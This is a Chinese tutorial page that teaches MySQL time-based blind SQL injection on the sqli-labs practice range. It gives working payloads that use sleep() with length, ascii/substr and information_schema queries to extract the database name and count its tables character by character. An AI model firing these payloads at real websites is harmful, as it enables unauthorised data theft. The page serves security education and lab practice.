网站首页 > 教程文章 正文
MySQL时间盲注
课前小问题
如果说uniom注入用不了,布尔盲注也用不了,无论你插入到什么样的sql语句,它的页面都没有反应,这个时候该怎么办呢?
这个时候我们就可以去用到时间盲注了。
那什么是时间盲注呢?
时间盲注:当布尔型注入没有结果(页面显示正常)的时候,我们很难去判断注入的代码是否被执行,也可以说到底这个注入点存不存在,这个时候布尔型注入就无法发挥自己的作用,基于时间的盲注就出现了,所谓基于时间的盲注,就是根据web页面响应的时间差来判断该页面是否存在sql注入点。
使用场景
1.union注入用不了,布尔注入也用不了。
演示:sqli-labs 靶场第9关
这里一直没反应,那我们这个时候就要用时间盲注了
时间盲注操作方式
A.先去判断是否存在注入
B.在去判断注入类型:字符型/数字型/搜索型。
Sleep函数,我们怎么通过sleep函数来判断呢?既然它是一个时间盲注会根据这个页面的一个时间差来去判断。
延迟5秒响应,因为and左边要满足右边也要满足,那么我们就去执行一把,存在注入,必然这也响应5秒,如果不响应慢5秒的话,那么它就不可能存在注入。
C.判断能使用的注入方式,这里不能使用union注入\布尔盲注
?id=1'and 1=1 %23 页面会显正常
?id=1'and 1=2 %23 页面会显示不正常?id=1'and sleep(5)%23发现页面延迟了5秒钟响应证明sleep被带入数据库做了查询。所以是存在时间盲注的。
D.首先获取数据库名称的长度
?id=1'and if ((length(database())>7)),sleep(5),1)%23 延时5秒
?id=1'and if ((length(database())>8)),sleep(5),1)%23 不延时5秒
说明数据库名称长度为7位
E.获取数据库的名称
?id=1'and if ((ascii(substr(database(),1,1))>n),sleep(5),1)%23
大于114,不大于115,说明当前使用的数据库名称第一位的ascii值为115,所以查看ASCII表得为字符s
F.获取表数量
?id=1'and if ((select count(*)from information_schema.tables where table_schema=database())>4,sleep(5),1)--+延迟5秒
?id=1'and if ((select count(*)from information_schema.tables where table_schema=database())>5,sleep(5),1)--+不延迟5秒
G.获取后面替换expr1就行了,依次寻找名字、字段...
- 上一篇: Java高并发库存防超卖的七种方法,从数据库到Redis的终极防御
- 下一篇: sql注入
猜你喜欢
- 2025-05-11 阿里开源MySQL中间件Canal快速入门
- 2025-05-11 MyBatis插件开发实战:手写一个分页插件
- 2025-05-11 Flask数据库——SQLAlchemy
- 2025-05-11 MySQL 到 Hazelcast Cloud 实时数据同步实操分享
- 2025-05-11 sqlmap 详解
- 2025-05-11 一篇文章让你学会Elasticsearch中的查询
- 2025-05-11 Mysql性能优化这5点你知道吗?简单却容易被初学者忽略!
- 2025-05-11 Spring Boot 实现 MySQL 读写分离技术
- 2025-05-11 Spring事务失效的7大场景:源码级排查方案来了!
- 2025-05-11 MySQL利用int类型高性能实现签到活动
- 最近发表
-
- 绝区零:公测必看!300菲林兑换码、萌新补给一览!切勿踩坑!
- 事半功倍 轻松制作可交互移动原型
- LOL英雄联盟美服注册教材 教你玩转美服
- 「正点原子Linux连载」第五十八章Linux INPUT子系统实验(一)
- 如何轻松薅Cursor羊毛:用免手机号邮箱快速注册
- C/C++基础语法复习(一):C++与C语言的区别,主要有这些
- 永久免费的高配容器Clawcloud,超爽体验!
- Spaceship低价注册域名 | 每年5元不到 | XYZ域名 | 托管cloudflare
- 云杉网络DeepFlow基于Free5GC的方案示例
- alma8飞速搭建zabbix6、微信报警、windows、linux、交换机监控
- 标签列表
-
- location.href (44)
- document.ready (36)
- git checkout -b (34)
- 跃点数 (35)
- 阿里云镜像地址 (33)
- qt qmessagebox (36)
- md5 sha1 (32)
- mybatis plus page (35)
- semaphore 使用详解 (32)
- update from 语句 (32)
- vue @scroll (38)
- 堆栈区别 (33)
- 在线子域名爆破 (32)
- 什么是容器 (33)
- sha1 md5 (33)
- navicat导出数据 (34)
- 阿里云acp考试 (33)
- 阿里云 nacos (34)
- redhat官网下载镜像 (36)
- srs服务器 (33)
- pico开发者 (33)
- https的端口号 (34)
- vscode更改主题 (35)
- 阿里云资源池 (34)
- os.path.join (33)